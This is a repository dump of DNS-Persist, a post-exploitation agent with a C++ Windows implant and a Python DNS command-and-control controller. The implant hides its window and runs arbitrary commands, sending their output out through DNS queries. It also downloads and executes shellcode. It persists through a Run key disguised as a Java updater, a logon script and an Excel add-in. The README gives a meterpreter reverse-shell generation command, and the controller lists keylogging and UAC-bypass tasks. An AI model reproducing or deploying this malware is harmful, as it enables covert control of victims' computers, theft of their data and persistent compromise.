├── .gitignore
├── Agent
├── Agent.sln
└── Agent
│ ├── Agent.aps
│ ├── Agent.rc
│ ├── Agent.vcxproj
│ ├── Agent.vcxproj.filters
│ ├── Agent.vcxproj.user
│ ├── Commands.cpp
│ ├── Commands.h
│ ├── DNSCommunication.cpp
│ ├── DNSCommunication.h
│ ├── Declarations.h
│ ├── Handler.cpp
│ ├── Handler.h
│ ├── Persistence.cpp
│ ├── Persistence.h
│ ├── XLSADDIN.xlam
│ ├── main.cpp
│ └── resource.h
├── LICENSE
├── README.md
├── images
├── Picture-1.png
├── Picture-2.png
├── Picture-3.png
├── Picture-4.png
└── Picture-5.png
├── modules
├── AgentControllerCLI.py
├── DNSListener.py
└── __init__.py
└── server.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.exe
3 | *.pdb
4 | *.sdf
5 | *.ipch
6 | *.ilk
7 | *.obj
8 | *.tlog
9 | *.txt
10 | *.cache
11 | *.idb
12 | *.manifest
13 | *.log
14 | *.suo
15 | Agent/Agent/Release
16 | Agent/Agent/Debug
17 | .idea/
18 |
--------------------------------------------------------------------------------
/Agent/Agent.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual C++ Express 2010
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Agent", "Agent\Agent.vcxproj", "{F3650F8D-4059-43CC-BDFB-0FB803DFE650}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.ActiveCfg = Debug|Win32
13 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.Build.0 = Debug|Win32
14 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.ActiveCfg = Release|Win32
15 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/Agent/Agent/Agent.aps:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/Agent.aps
--------------------------------------------------------------------------------
/Agent/Agent/Agent.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/Agent.rc
--------------------------------------------------------------------------------
/Agent/Agent/Agent.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}
15 | Agent
16 |
17 |
18 |
19 | Application
20 | true
21 | MultiByte
22 |
23 |
24 | Application
25 | false
26 | true
27 | MultiByte
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 | false
41 |
42 |
43 |
44 | Level3
45 | Disabled
46 |
47 |
48 | true
49 |
50 |
51 |
52 |
53 | Level3
54 | MaxSpeed
55 | true
56 | true
57 |
58 |
59 | true
60 | true
61 | true
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
--------------------------------------------------------------------------------
/Agent/Agent/Agent.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 | Header Files
52 |
53 |
54 |
55 |
56 | Resource Files
57 |
58 |
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/Agent/Agent/Agent.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/Agent/Agent/Commands.cpp:
--------------------------------------------------------------------------------
1 | #include "Commands.h"
2 |
3 |
4 |
5 |
6 | LPCSTR ProcessList(){
7 | std::string pList = ExecuteCommand("tasklist");
8 | LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
9 | StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
10 | return lpResponse;
11 | }
12 | LPCSTR ExecuteShell(LPCSTR command){
13 | std::string pList = ExecuteCommand(command);
14 | LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
15 | StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str());
16 | return lpResponse;
17 | }
18 | LPCSTR SystemInfo(){
19 |
20 | LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH];
21 | SYSTEM_INFO siSysInfo;
22 | GetSystemInfo(&siSysInfo);
23 |
24 | LPSTR computerName = new CHAR[MAX_COMPUTERNAME_LENGTH + 1];
25 | DWORD len = MAX_COMPUTERNAME_LENGTH + 1;
26 | GetComputerNameA(computerName,&len);
27 |
28 | DWORD usernameSize = 104;
29 | LPSTR username = new CHAR[104+1];
30 | GetUserName(username,&usernameSize);
31 |
32 |
33 | StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"----- System Information -----\n\nComputerName: %s\\%s\nNumber of processors: %u\nOEM ID: %u\nProcessor type: %u\n",computerName,username,siSysInfo.dwNumberOfProcessors,siSysInfo.dwOemId,siSysInfo.dwProcessorType);
34 |
35 | return lpResponse;
36 | }
37 |
38 | char agentName[64];
39 | static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
40 | int stringLength = sizeof(alphanum) - 1;
41 |
42 | LPSTR AgentName(){
43 | DWORD size = 9;
44 | if(strlen(agentName)==0){
45 | std::string tempString;
46 | srand (time(NULL));
47 | for(unsigned int i = 0; i < size-1; ++i)
48 | {
49 | tempString += alphanum[rand() % stringLength];
50 | }
51 | StringCbPrintf(agentName,size,"%s",tempString.c_str());
52 | }
53 | return agentName;
54 | }
55 |
56 | LPCSTR ExecuteShellcode(){
57 |
58 |
59 | HANDLE hLocalThread;
60 | DWORD lpThreadId;
61 |
62 | std::string temp = GetShellcode(AgentName());
63 | if(temp == NO_SHELLCODE){
64 | return "[-] There was no shellcode [-]";
65 | }
66 |
67 | LPCSTR data = temp.c_str();
68 |
69 | hLocalThread = CreateThread(NULL,0,InjectShellcode,(LPVOID)data,0,&lpThreadId);
70 | //WaitForSingleObject(hLocalThread,INFINITE);
71 | Sleep(5);
72 | if(hLocalThread != NULL){
73 | return "[+] Shellcode Injected Successfully [+]";
74 | }
75 | return "[-] Failed to inject shellcode [-]";
76 |
77 | }
78 |
79 | DWORD WINAPI InjectShellcode(LPVOID lpData){
80 |
81 | LPVOID buffer = NULL;
82 | LPCSTR data = (LPCSTR)lpData;
83 | SIZE_T shLength = strlen(data);
84 | buffer = VirtualAlloc(NULL,shLength+1,(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE);
85 | memcpy(buffer,data,shLength);
86 | __asm{
87 | LEA EAX,buffer
88 | MOV EDX, DWORD PTR DS:[EAX]
89 | CALL EDX
90 | }
91 | return 0;
92 | }
93 |
94 |
95 | BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){
96 |
97 |
98 | HGLOBAL resMemoryHandler;
99 | HRSRC resHandler;
100 | LPCSTR resourceName = MAKEINTRESOURCE(resourceId);
101 | LPCSTR resourceType = RT_RCDATA;
102 | LPVOID lpData = NULL;
103 | SIZE_T size;
104 | DWORD dwBytesWritten = 0;
105 |
106 |
107 | resHandler = FindResource(NULL,resourceName,resourceType);
108 | LPVOID data;
109 |
110 | if(resHandler != NULL){
111 | resMemoryHandler =LoadResource(NULL,resHandler);
112 | if(resMemoryHandler != NULL){
113 | lpData = LockResource(resMemoryHandler);
114 | if(lpData != NULL){
115 | size = SizeofResource(NULL,resHandler);
116 | data = VirtualAlloc(NULL,size+1,(MEM_COMMIT | MEM_RESERVE),PAGE_READWRITE);
117 | memcpy(data,lpData,size);
118 | }else{
119 | return FALSE;
120 | }
121 | }else{
122 | return FALSE;
123 | }
124 | }else{
125 | return FALSE;
126 | }
127 |
128 | HANDLE fileHandler = CreateFile(fileName,(GENERIC_WRITE),FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
129 |
130 | if(fileHandler != INVALID_HANDLE_VALUE){
131 | WriteFile(fileHandler,data,size,&dwBytesWritten,NULL);
132 | CloseHandle(fileHandler);
133 | return TRUE;
134 | }
135 | else{
136 | return FALSE;
137 | }
138 |
139 | }
140 |
--------------------------------------------------------------------------------
/Agent/Agent/Commands.h:
--------------------------------------------------------------------------------
1 | #include "DNSCommunication.h"
2 |
3 | LPCSTR ProcessList();
4 | LPCSTR SystemInfo();
5 | LPCSTR ExecuteShellcode();
6 | LPCSTR ExecuteShell(LPCSTR command);
7 | LPSTR AgentName();
8 |
9 | DWORD WINAPI InjectShellcode(LPVOID lpData);
10 | BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId);
--------------------------------------------------------------------------------
/Agent/Agent/DNSCommunication.cpp:
--------------------------------------------------------------------------------
1 | #include "DNSCommunication.h"
2 |
3 | BOOL SendData(LPSTR agentName, LPSTR data){
4 |
5 | // Used string because of lack of knowledge :p.
6 | std::string response;
7 |
8 | DWORD data_length;
9 | DWORD data_remainder;
10 | DWORD chunks;
11 | DWORD chunk_size = 32;
12 |
13 | std::string hex_data;
14 | std::stringstream temp_data;
15 |
16 | DataToHEX(data,hex_data,TRUE);
17 | data_length = hex_data.length();
18 | data_remainder = data_length % chunk_size;
19 | chunks = data_length % chunk_size;
20 |
21 | if(data_length > chunk_size){
22 | for(unsigned int i=0; i < data_length; i+=chunk_size){
23 | temp_data.str(std::string()); // Clear the temp_data stream
24 | if(i == 0){
25 | temp_data << "7b21" << hex_data.substr(i,chunk_size);// Appends the beginning signature to the data
26 | }else if((i+data_remainder)>=data_length){
27 | temp_data << hex_data.substr(i,chunk_size) << "217d";// Appends the end signature to the data
28 | }else{
29 | temp_data << hex_data.substr(i,chunk_size);
30 | }
31 |
32 | response = SendDNSPacket(agentName,"DATA",temp_data.str().c_str());
33 | }
34 | }else{
35 | // To be implmeneted that if there is less data then 32 bytes which is very unusal, to add the stream.
36 | response = SendDNSPacket(agentName,"DATA",hex_data.c_str()); // Normally we should not get here.
37 | }
38 |
39 | response.erase(0,(int)response.find("RESP:") + 5);
40 | response.erase(response.length()-2,response.length());
41 |
42 | if(response.compare("OK") == 0){
43 | return TRUE;
44 | }
45 | // ERROR
46 | return FALSE;
47 | }
48 |
49 | // Not very Windows-like programming but it works.
50 |
51 | VOID DataToHEX(const std::string str, std::string& hexstr, bool capital = false)
52 | {
53 | hexstr.resize(str.size() * 2);
54 | const size_t a = capital ? 'A' - 1 : 'a' - 1;
55 |
56 | for (size_t i = 0, c = str[0] & 0xFF; i < hexstr.size(); c = str[i / 2] & 0xFF)
57 | {
58 | hexstr[i++] = c > 0x9F ? (c / 16 - 9) | a : c / 16 | '0';
59 | hexstr[i++] = (c & 0xF) > 9 ? (c % 16 - 9) | a : c % 16 | '0';
60 | }
61 | }
62 |
63 | std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData){
64 |
65 | LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];
66 | std::string response;
67 | PDNS_RECORD dnsRecord;
68 |
69 | if(lstrlen(responseData) == 0){
70 | // This is probably a probe or command request
71 | StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s.%s",agentName,packetType,DOMAIN_NAME);
72 |
73 | }else{
74 | // This sends the data to the server.
75 | StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s-%s.%s",agentName,packetType,responseData,DOMAIN_NAME);
76 | }
77 |
78 | WORD dnsType = DNS_TYPE_TEXT;
79 | DNS_STATUS dnsStatus;
80 | dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);
81 |
82 | if(!dnsStatus){
83 | response = dnsRecord->Data.TXT.pStringArray[0];
84 | }else{
85 | response = "ERROR";
86 | }
87 | cout << response;
88 | return response;
89 | }
90 |
91 |
92 | std::string GetShellcode(LPSTR agentName){
93 | LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1];
94 |
95 | BOOL bEnd = FALSE;
96 | std::string response;
97 | std::string shellcode;
98 | PDNS_RECORD dnsRecord;
99 | WORD dnsType = DNS_TYPE_TEXT;
100 | DNS_STATUS dnsStatus;
101 |
102 | StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-SHL.%s",agentName,DOMAIN_NAME);
103 |
104 | while(!bEnd){
105 |
106 | dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL);
107 | if(!dnsStatus){
108 | response = dnsRecord->Data.TXT.pStringArray[0];
109 | }
110 |
111 | if(response.find(NO_SHELLCODE) != std::string::npos){
112 | return NO_SHELLCODE;
113 | }
114 | else if(response.find(START) != std::string::npos){
115 | shellcode = std::string();
116 | shellcode = response.erase(0,2);
117 | }
118 | else if(response.find(END) != std::string::npos){
119 | shellcode.append(response.erase(response.length()-2,response.length()));
120 | bEnd = TRUE;
121 | }else{
122 | shellcode.append(response);
123 | }
124 |
125 |
126 | }
127 |
128 | // This is probably not the best way to do this but hey i'm not an expert in C++
129 | SIZE_T len;
130 | len = shellcode.length();
131 | std::string returnValue;
132 | for(int i=0; i< len; i+=2)
133 | {
134 | std::string byte = shellcode.substr(i,2);
135 | char chr = (char) (int)strtol(byte.c_str(), NULL, 16);
136 | returnValue.push_back(chr);
137 | }
138 |
139 | return returnValue;
140 |
141 | }
142 |
143 |
144 | std::string ExecuteCommand(LPCSTR cmd) {
145 | std::string data;
146 | FILE * stream;
147 | const int max_buffer = 256;
148 | char buffer[max_buffer];
149 | stream = _popen(cmd, "r");
150 | if (stream) {
151 | while (!feof(stream))
152 | if (fgets(buffer, max_buffer, stream) != NULL) data.append(buffer);
153 | _pclose(stream);
154 | }
155 | return data;
156 | }
--------------------------------------------------------------------------------
/Agent/Agent/DNSCommunication.h:
--------------------------------------------------------------------------------
1 | #include "Declarations.h"
2 |
3 |
4 |
5 | BOOL SendData(LPSTR agentName, LPSTR data);
6 | VOID DataToHEX(const std::string str, std::string& hexstr, bool capital);
7 | std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData);
8 | std::string ExecuteCommand(LPCSTR command);
9 | std::string GetShellcode(LPSTR agentName);
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/Agent/Agent/Declarations.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "resource.h"
5 | #include "Shlwapi.h"
6 |
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 |
14 | #pragma comment(lib, "Shlwapi.lib")
15 | #pragma comment (lib, "Dnsapi.lib")
16 |
17 |
18 | using std::cout;
19 |
20 |
21 | #define MAX_DOMAIN_LENGTH 2048
22 | #define PROBE "PROBE"
23 | #define CMD "CMD"
24 |
25 | #define DOMAIN_NAME "example.com"
26 | #define MAX_DATA_LENGTH 1048576
27 |
28 | #define START "{!"
29 | #define END "!}"
30 | #define NO_SHELLCODE "!@!"
31 |
32 | #define PERSIST_RUNKEY 1
33 | #define PERSIST_LOGONSCRIPT 2
34 | #define PERSIST_EXCELADDIN 3
35 |
36 |
--------------------------------------------------------------------------------
/Agent/Agent/Handler.cpp:
--------------------------------------------------------------------------------
1 | #include "Handler.h"
2 |
3 | LPCSTR HandleCommand(LPCSTR command){
4 |
5 | std::string data = command;
6 |
7 | if(strstr(command,"PRT-") != NULL){
8 | data.erase(0,4);
9 | DWORD method = atoi(data.c_str());
10 | return Persist(method);
11 | }
12 | else if(strstr(command,"SYS") != NULL){
13 | return SystemInfo();
14 | }
15 | else if(strstr(command,"PSL") != NULL){
16 | return ProcessList();
17 | }
18 | else if(strstr(command,"INJ") != NULL){
19 | return ExecuteShellcode();
20 | }
21 | else if(strstr(command,"ECM-") != NULL){
22 | data.erase(0,4);
23 | return ExecuteShell(data.c_str());
24 | }
25 |
26 | return "ERROR HANDLING COMMAND";
27 |
28 | }
--------------------------------------------------------------------------------
/Agent/Agent/Handler.h:
--------------------------------------------------------------------------------
1 | #include "Declarations.h"
2 | #include "Persistence.h"
3 | #include "Commands.h"
4 |
5 | LPCSTR HandleCommand(LPCSTR command);
--------------------------------------------------------------------------------
/Agent/Agent/Persistence.cpp:
--------------------------------------------------------------------------------
1 | #include "Persistence.h"
2 |
3 | LPCSTR Persist(DWORD method){
4 |
5 | switch(method){
6 | case PERSIST_RUNKEY:
7 | if(PersistRunKey()){
8 | return "[+] Run key Persistence Successfull [+]";
9 | }
10 | case PERSIST_LOGONSCRIPT:
11 | if(PersistLogonScript()){
12 | return "[+] Logon script Persistence Successfull [+]";
13 | }
14 | case PERSIST_EXCELADDIN:
15 | if(PersistExcelAddin()){
16 | return "[+] Excel addin Persistence Successfull [+]";
17 | }
18 | }
19 | return "[-] Persistence failed [-]";
20 | }
21 |
22 |
23 | BOOL PersistRunKey(){
24 |
25 | LPSTR cFile = new CHAR[MAX_PATH+1];
26 | LPSTR fDestination = new CHAR[MAX_PATH+1];
27 | LPSTR appdata = new CHAR[MAX_PATH+1];
28 | GetEnvironmentVariable("appdata",appdata,MAX_PATH);
29 |
30 | StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",appdata);
31 |
32 | GetModuleFileName(NULL,cFile,MAX_PATH);
33 | if(CopyFile(cFile,fDestination,TRUE) != 0){
34 | SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
35 | HKEY hKey;
36 | RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
37 | RegSetValueEx(hKey,"Oracle Java Update Scheduler",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);
38 | RegCloseKey(hKey);
39 | return TRUE;
40 |
41 | }
42 | return FALSE;
43 | }
44 |
45 |
46 | BOOL PersistLogonScript(){
47 |
48 | LPSTR cFile = new CHAR[MAX_PATH+1];
49 | LPSTR fDestination = new CHAR[MAX_PATH+1];
50 | LPSTR userProfile = new CHAR[MAX_PATH+1];
51 | GetEnvironmentVariable("userprofile",userProfile,MAX_PATH);
52 | StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",userProfile);
53 | GetModuleFileName(NULL,cFile,MAX_PATH);
54 | if(CopyFile(cFile,fDestination,TRUE) != 0){
55 | SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
56 | HKEY hKey;
57 | RegOpenKey(HKEY_CURRENT_USER,"Environment",&hKey);
58 | RegSetValueEx(hKey,"UserInitMprLogonScript",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH);
59 | RegCloseKey(hKey);
60 | return TRUE;
61 | }
62 | return FALSE;
63 |
64 |
65 |
66 | }
67 |
68 |
69 | BOOL PersistExcelAddin(){
70 |
71 | LPSTR appData = new CHAR[MAX_PATH+1];
72 | LPSTR fileDest = new CHAR[MAX_PATH+1];
73 |
74 | GetEnvironmentVariable("appdata",appData,MAX_PATH);
75 | StringCbPrintf(fileDest,MAX_PATH,"%s\\Microsoft\\Excel\\XLSTART",appData);
76 |
77 |
78 | if(PathFileExists(fileDest)){
79 | StringCbPrintf(fileDest,MAX_PATH,"%s\\XLS_ADDIN.xlam",fileDest);
80 | DropFileFromRes(fileDest,IDR_RCDATA1);
81 | LPSTR cFile = new CHAR[MAX_PATH+1];
82 | LPSTR fDestination = new CHAR[MAX_PATH+1];
83 | LPSTR appData = new CHAR[MAX_PATH+1];
84 | GetEnvironmentVariable("appdata",appData,MAX_PATH);
85 | StringCbPrintf(fDestination,MAX_PATH,"%s\\jsched.exe",appData);
86 | GetModuleFileName(NULL,cFile,MAX_PATH);
87 | if(CopyFile(cFile,fDestination,TRUE) != 0){
88 | SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN);
89 | return TRUE;
90 | }
91 | }
92 |
93 | return FALSE;
94 | }
--------------------------------------------------------------------------------
/Agent/Agent/Persistence.h:
--------------------------------------------------------------------------------
1 | #include "Declarations.h"
2 | #include "Commands.h"
3 |
4 |
5 | LPCSTR Persist(DWORD method);
6 | BOOL PersistRunKey();
7 | BOOL PersistLogonScript();
8 | BOOL PersistExcelAddin();
9 |
--------------------------------------------------------------------------------
/Agent/Agent/XLSADDIN.xlam:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/XLSADDIN.xlam
--------------------------------------------------------------------------------
/Agent/Agent/main.cpp:
--------------------------------------------------------------------------------
1 | #include "Declarations.h"
2 | #include "DNSCommunication.h"
3 | #include "Handler.h"
4 | #include "Commands.h"
5 |
6 | int main(){
7 |
8 | ShowWindow(GetConsoleWindow(), SW_HIDE);
9 | LPSTR agentName = AgentName();
10 | std::string response;
11 | std::string tmp_command;
12 | DWORD numberOfCommands = 0;
13 | DWORD i = 0;
14 | while(TRUE){
15 | Sleep(5000);
16 | response = SendDNSPacket(agentName,PROBE,NULL);
17 | if (response.find("There were no commands") == std::string::npos){
18 | if (response.find("NR:")!= std::string::npos){
19 | // This gets the number of commands from the DNS server.
20 | response.erase(0,(int)response.find(":")+1);
21 | numberOfCommands = atoi(response.c_str());
22 | for(i=0;i(HandleCommand(tmp_command.c_str())));
27 | }
28 | }
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/Agent/Agent/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/resource.h
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 Rio
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DNS-Persist
2 | DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.
3 |
4 | ## Getting Started
5 | ### Author
6 | 0x09AL - https://twitter.com/0x09al
7 | ### Disclaimer
8 | DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.
9 |
10 | THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.
11 |
12 | ## Did I reinvent the wheel ?
13 | There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code).
14 |
15 | Suggestions about features and improvements are open.
16 |
17 | ## Architecture
18 |
19 | There are two main parts:
20 | 1. DNS server
21 | 2. Agent
22 |
23 | 
24 |
25 | ## Features
26 | ### Persistence mechanisms
27 | This version has only 3 persistence mechanisms. More will be added later.
28 | 1. LogonScript persistence.
29 | 2. RunKey persistence.
30 | 3. Excel Addin persistence.
31 |
32 | ### 'Interactive' command shell
33 | This version supports pseudo-interactive command shell that you can use to execute system commands.
34 |
35 |
36 | ### Shellcode Injection
37 | This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.
38 |
39 | #### Shellcode generation example
40 | ```
41 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
42 | ```
43 |
44 | ## TODO LIST
45 | 1. Add encryption. **This version does not have any encryption so take your own risks when using it.**
46 | 2. Add more persistence mechanisms.
47 | 3. Agent in different programming languages.
48 |
49 | ## Installation & Usage
50 | ### Server side
51 | ```
52 | pip install dnslib
53 | git clone https://github.com/0x09AL/DNS-Persist
54 | python server.py
55 | ```
56 | By default a DNS server on port 53 will be started. You can change that on the server.py file.
57 |
58 | ### Agent
59 | I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.
60 |
61 | Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.
62 |
63 | The domain nameservers should point to the DNS-Persist IP address.
64 |
65 |
66 | ```
67 | #define DOMAIN_NAME "example.com"
68 | ```
69 |
70 | ## Screenshots
71 |
72 | 1. Picture-1
73 |
74 | 
75 |
76 | 2. Picture-2
77 |
78 | 
79 |
80 | 3. Picture-3
81 |
82 | 
83 |
84 | 4. Picture-4
85 |
86 | 
87 |
88 |
89 |
90 |
--------------------------------------------------------------------------------
/images/Picture-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-1.png
--------------------------------------------------------------------------------
/images/Picture-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-2.png
--------------------------------------------------------------------------------
/images/Picture-3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-3.png
--------------------------------------------------------------------------------
/images/Picture-4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-4.png
--------------------------------------------------------------------------------
/images/Picture-5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-5.png
--------------------------------------------------------------------------------
/modules/AgentControllerCLI.py:
--------------------------------------------------------------------------------
1 | import cmd
2 |
3 | activeAgents = ["PC-01","FUCK"]
4 |
5 |
6 | def changeInteractedAgent(agent):
7 | print agent
8 |
9 | class Input(cmd.Cmd):
10 |
11 |
12 | AGENTS = activeAgents
13 | prompt = "DNS-C2 #> "
14 | def do_agents(self,s):
15 | self.list_agents()
16 | def do_interact(self,agent):
17 | self.AGENTS = activeAgents
18 | if(agent in self.AGENTS):
19 | print "[+] Interacting with : " + agent + " [+]"
20 | changeInteractedAgent(agent)
21 | agentInteraction = AgentCMD()
22 | agentInteraction.prompt = self.prompt + "(" + agent + "): "
23 | agentInteraction.cmdloop()
24 | else:
25 | print "[-] Agent not valid [-]"
26 |
27 | def complete_interact(self, text, line, begidx, endidx):
28 | if not text:
29 | completions = self.AGENTS[:]
30 | else:
31 | completions = [ f
32 | for f in self.AGENTS
33 | if f.startswith(text)
34 | ]
35 | return completions
36 | def do_quit(self,s):
37 | exit(0)
38 | def emptyline(self):
39 | pass
40 | def list_agents(self):
41 | for agent in activeAgents:
42 | print agent
43 |
44 |
45 | def getInteractedAgent():
46 | global interactedAgent
47 | return interactedAgent
48 |
49 |
50 |
51 | class AgentCMD(cmd.Cmd):
52 |
53 | # This is the Agent command line .
54 | def do_sysinfo(self,s):
55 | sendTask(interactedAgent,"{SHELL}systeminfo")
56 | def do_bypassuac(self,s):
57 | sendTask(interactedAgent,"bypassuac")
58 | def do_keylog_start(self,s):
59 | sendTask(interactedAgent,"keylog_start")
60 | def do_keylog_stop(self,s):
61 | sendTask(interactedAgent,"keylog_stop")
62 | def do_keylog_dump(self,s):
63 | sendTask(interactedAgent,"keylog_dump")
64 | def do_exec(self,s):
65 | sendTask(interactedAgent,"{SHELL}%s" % s)
66 | def do_downloadexecute(self,s):
67 | sendTask(interactedAgent,"{DOWNLOAD}%s" % s)
68 | def do_persist(self,s):
